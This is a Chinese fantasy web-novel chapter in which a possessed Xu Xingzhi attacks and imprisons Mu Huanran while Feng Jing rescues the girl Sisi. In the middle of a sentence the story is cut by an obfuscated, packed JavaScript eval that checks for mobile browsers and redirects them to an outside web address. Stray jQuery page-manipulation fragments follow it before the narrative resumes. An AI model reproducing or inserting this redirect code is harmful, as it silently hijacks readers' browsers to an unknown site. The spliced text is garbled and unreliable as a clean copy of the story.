22. 瘴雾蛮山(三)

作品:《浮世隐

    慕涣然感觉自己的双脚正在缓缓离地,呼吸因他扼在她喉间的手掌发力而变得愈发困难。


    她看见他抬起另一只手,五指并拢,指尖凝聚起幽冷的青光,宛如一把淬炼而成的寒刃。


    许星知面无表情,骤然松开钳制她脖颈的手——却在下一瞬,那柄“寒刃”向她的喉间横切而来!


    他...他要砍断她的脖子?!


    手起刀落间,慕涣然死死攥着他手腕的双掌之中,猛地爆出一团金红色的火焰!


    火焰瞬间缠上许星知的右臂,灼痛令他闷哼一声,猛地向后疾退数米。


    慕涣然靠回树干前,仰着头,大口地喘息着,仿佛要把方才缺少的那些氧气重新补回肺中。


    可还没喘几口,五脏六腑忽然传来钻心地剧痛。


    “扑通”一声,她双膝砸落在地,双手捂于身前,疼痛让她无法再站立起来。


    另一端,许星知毫不犹豫地扯掉右肩的袍袖,更加怖人的是,暴露在空气中的手臂形同槁木,肌肉全无,只剩一层干枯似树皮般皱褶的皮肤包着骨头。


    而慕涣然燃起的金红火焰,在他臂上残留着点点星火。


    缕缕黑雾从他体内涌出,缠绕上手臂,直至最后一丝火星熄灭。黑雾忽地收缩,紧密覆上整条枯臂。


    慕涣然强撑着手臂不让自己完全倒下,她艰难地抬头,死死盯着许星知的一举一动。


    “云藏...”她在心神中急切呼唤。


    片刻,云藏极其虚弱的气息才断断续续响起:“涣然...那黑雾侵入了你的心脉,也禁锢了我的神力...”


    糟了,慕涣然心道不妙。


    不容她多想,许星知臂上的黑雾轰然四散。不同于方才,距他臂膀处一寸之内竟然恢复了肌肉的弹性与皮肤的光泽。


    他察觉到了这细微的变化,眉梢微挑,目光倏地射向慕涣然,眼底翻涌着难以捉摸的幽光。


    “云藏,没有办法了吗?””慕涣然再次于心底疾呼。


    而许星知,已再次朝她逼近。直至他阴影笼罩而下,慕涣然才听到云藏近乎叹息的回应:


    “我...施展不出法力了...”


    慕涣然垂首,极轻地笑了一下。天神?不过如此...


    “你动手吧。”她忍着剧痛,用尽全身力气撑起双膝,摇摇晃晃地站定,“但我只求你一件事。”


    她绝不能跪死于他面前!


    “放了思思...她与这件事无关。”


    许星知并未言语,只是再次抬手。慕涣然别过头,闭上了眼睛。


    原以为会是一阵刺痛,再睁眼时,自己的视线会随着滚落的头颅天翻地覆。


    然而,她的耳边只有骤然掀起的呼啸风声。


    她猛地睁眼,险些惊呼出声——此刻,她竟被浓稠的黑雾裹挟着飞翔于半空中!许星知就在她身前,她全身动弹不得,也不敢向下望去,只能死死盯着他的侧脸。


    “你要做什么?!”


    许星知只是微侧过头,眼角余光冷淡地扫过她,漠然吐出一句:


    “真的很吵...”


    不知是怒极攻心,还是又有几缕黑雾窜入鼻息,慕涣然只觉眼前一黑,头无力地垂下,再没了动静。


    地上,思思只能眼睁睁看着两人的身影消失于被浓雾吞噬的天际,她无助地躺在溪边,眼泪夺眶而出。


    “阿娘...”她蜷缩着,哽咽着喃念母亲。


    整个山谷回荡着小女孩悲痛地哭声。


    就在此时,一旁的溪底突然传来沉闷的搅动声,原本平稳的溪流突然掀起波纹,中心处的水面缓缓向上凸起,仿佛有什么庞然之物正逆着水流向上而游。


    哗啦——一道金色脊背破水而出,手掌大小的鳞片在惨淡月光下泛着莹莹光泽,边缘水珠簌簌滚落。那巨物稍一显现,又倏然潜入水中。


    下一瞬,一颗硕大的头颅从水中抬起,悬于半空——竟是沧阴!


    它庞大的身躯在水中搅动出漩涡,红宝石色地竖瞳居高临下,静静凝视着岸边的思思。


    沧阴带起的水流洒落如雨,思思被惊动,睁开泪眼,顿时看见这条似龙似蛇的巨兽悬浮眼前。


    她记得它!


    “风哥哥的灵物!”她脱口而道。


    片刻后,风境疾步从密林的黑暗中冲出。沧阴见到主人,立刻亲昵地俯首贴近。风境抬手轻抚它的头颅,目光迅速扫过四周。


    “见到慕涣然了吗?”


    沧阴低吟一声,用头轻轻顶了顶他的手心。


    “没事的...”他低声安抚,随即俯身抱起了地上的思思。


    “风哥哥,小姨她...她被抓走了!”思思的小手指向两人消失的朦胧天际,声音虚弱无力。


    “嗯...我送你回家。”


    他抱着思思,纵身跃上沧阴宽阔的脊背。巨兽摆动身躯,乘风而起,朝着石溪村的方向迅速飞去。


    璃禾见到女儿这般模样,并未失态惊呼,而是强压惊惶,冷静地为思思仔细诊治了一番,最终安置在床榻上歇息。


    “涣然呢?”


    待一切暂毕,她转身看向风境,


    “被带走了。”


    风境沉声道出了事件发生的前因后果,璃禾静静听着,递给风境一杯热茶,示意他坐下。


    “上次给涣然服下的凤凰血丹,我一共只制出两颗。剩下的那颗方才已给思思服下。若只是蛮山雾毒,此刻便该痊愈,但是你看...”


    两人目光同时投向床榻上的思思,她紧闭双眼,原本苍白的小脸和发乌的嘴唇已恢复了红润,可气息却依旧微弱不稳。


    “恐怕涣然此刻也是同样的境况,甚至更糟...都怪我,若当初涣然没有替我去,这一切都不会发生。”璃禾攥紧了手,眼中满是自责。


    “......”


    风境不知如何安慰,话锋一转,”说到凤凰血丹,我有一事请教。”


    “请讲。”璃禾看向风境。


    “此丹除了解毒,是否另有奇效?譬如...医治先天遗传的邪症?”


    璃禾思索片刻,摇头道:“不能。遗传邪病属先天实症,凤凰血的灵力虽纯,却只通‘生机滋养’,实病是没法靠它医治的。”


    她话锋微转:“不过,它倒另有一层微末用处,能促人肌肤莹润,焕发生机。”


    “返老还童吗?”风境语调骤然扬起。


    “凤凰本是涅槃长生的灵物,”璃禾声音缓了些,“差不多是这个意思,不过实际作用并没有那么强大,只能做到延缓衰老吧。”


    风境蓦地转头望向窗外,深邃的眼眸微微眯起,仿佛穿透了沉沉夜色,窥见了某种真相。


    “璃禾...”他回过头,神色是前所未有的郑重,“若有有办法能救涣然,你愿一试吗?”


    “我?”璃禾掌心下意识按上心口,见风境颔首,她坚定地回道:“当然!”


    “只是...这样可能会暴露你的身份。”


    璃禾直接打断了风境的顾虑:“若非涣然,我早已暴露。何况,思思变成这样,只有救回涣然,才能真相大白。说吧,需要我做什么?”


    “随我去趟云州城,找一个人。”


    “谁?”


    “一个参会的巫者——名叫楚恒。”


    四周没有一丝光亮,冰冷坚硬的触感率先从身下传来,紧接着,一股子霉味混在潮湿的空气中,唤醒了慕涣然的嗅觉。


    她在一片死寂中苏醒,沉重的铁链随着她腿部


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284644|181894||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无意识的动作,发出金属摩擦石砖地面的闷响。


    只有不断地眨眼,才能证明自己已经睁开了眼睛——黑暗吞噬了一切。


    “云藏...”她轻声呼唤,指尖触到脸颊上的面具,却久久得不到任何回应。


    难道他抽身回天界了吗?


    慕涣然打算像之前一样,尝试让灵魂脱体前往天界,却屡屡失败。她还停留在现实,耳边只有墙壁水珠滴落的规律声响,“嗒,嗒,嗒,”如同为她倒数生命的钟摆。


    这降神面具,似乎失去了所有神效,她将它摘下,无力地置于膝上。


    正当她深陷绝望之际,一束微弱的光突然从远处透入。她眯起眼,努力适应着光线,试图看清自己身处何地。


    这里竟是一处地牢,四壁无窗,墙面因潮湿的水汽凝满了水珠。


    而她的双脚踝上,锁着两道两指粗的铁链。


    脚步声愈来愈近,整座地牢的壁火瞬间亮起,映出来者身影。


    慕涣然知道是谁,故意别过头,不愿看他。


    “从今日起,你每日都要为我疗伤。”许星知幽冷的声音在地牢中回荡。


    “疗伤?”慕涣然斜睨着他。


    “没错,用你掌心的火焰。”他的目光落在她垂于身前的双手上。


    “你做梦!”慕涣然咬牙啐道。


    许星知的指尖拧住她的下巴,强迫她转过头来。慕涣然却自始至终低垂着眼眸,再不愿多看他一眼。


    “这由不得你。”他说的斩钉截铁。


    慕涣然能够感受到萦绕在两人面前彼此交错的气息,似是这阴冷地牢中唯一的温暖。


    就连他的手指都凉的如同死人一般。


    “若你不肯,你就只能眼睁睁看着许星知这具身体一点点衰败,直至死亡。而且...”


    他声音压低,带着残忍的玩味,“他此刻也在看着你。”


    “你说什么?!”慕涣然猛地抬起眼眸。


    “实话告诉你,我只是借用了他的身体,而他的灵魂被困在这具躯壳的深处,同样可以用这双眼睛看到你。”


    慕涣然再也无法移开视线,双眼紧盯着许星知那双冰冷的瞳孔,生怕一不留神,错过了属于他的痕迹。


    “你真的在看吗?!”她对着那双眼睛,喃喃自语,像是与臆想中的灵魂对话。


    许星知的脸上却浮现出一抹狞笑,仿佛在看一出笑话。


    慕涣然不顾一切地捧起许星知的脸颊,激动到鼻尖都开始发红。


    “没事,只要你在就好。幸好,那不是真的你,我就知道...那不可能是你...”


    许星知微微一怔,眉头蹙起,猛地拨开她的双手。


    “省省吧,不过,若你能治好这具身体,或许我可以在你死之前,放他出来与你一叙。”


    慕涣然却用手背利落地擦掉泪痕,昂起头,眼中只剩下彻底的蔑视。


    “杀了我吧!”


    “什么?”


    “你以为用这种手段就能一直折磨我们?若是许星知,他宁愿死也不会让你得逞的!我也是,我就算死,也不会让你称心如意的。”慕涣然说完还不够解恨,随即又骂了一句。“卑鄙无耻的混蛋!”


    许星知面色铁青,声音低沉得可怕:


    “敬酒不吃吃罚酒!”


    话音刚落,他猛地将手抓在慕涣然的肩头。


    那五指如尖刃利器,只用力一捏,半截手指扎入了她的血肉。


    一声凄厉的惨叫划破了地牢内的宁静。


    像是被动触发般,慕涣然的伤口处涌出金红色的火焰,刹那间吞掉了许星知的手臂。


    慕涣然震惊地看着那片灼目的光芒,火焰的另一端,却照不暖许星知那冷血的面容。